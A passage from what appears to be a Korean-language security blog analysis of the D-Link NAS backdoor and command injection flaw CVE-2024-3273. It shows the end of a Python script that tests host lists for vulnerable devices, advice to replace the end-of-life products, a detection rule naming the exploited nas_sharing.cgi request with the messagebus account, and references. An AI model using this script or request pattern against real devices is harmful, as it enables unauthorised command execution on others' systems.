        file_path = input("Enter the file path containing hosts: ")
        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()
        execute_command_multiple(file_path, export)
    else:
        print("Invalid option.")

if __name__ == "__main__":
    main()

 

4. 대응방안

- 해당 NAS 제품은 EOL(End Of Life, 지원 종료)에 도달해 더 이상 지원되지 않는 장비

> 벤더사는 관련 제품을 폐기하고 펌웨어 업데이트를 지원하는 제품으로 교체할 것을 권장 [4]

 

- 보안 장비 탐지 정책 적용

> cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd

 

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273
[2] https://github.com/netsecfish/dlink?tab=readme-ov-file
[3] https://github.com/adhikara13/CVE-2024-3273
[4] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
[5] https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
[6] https://www.boannews.com/media/view.asp?idx=128614&page=4&kind=1

+ Recent posts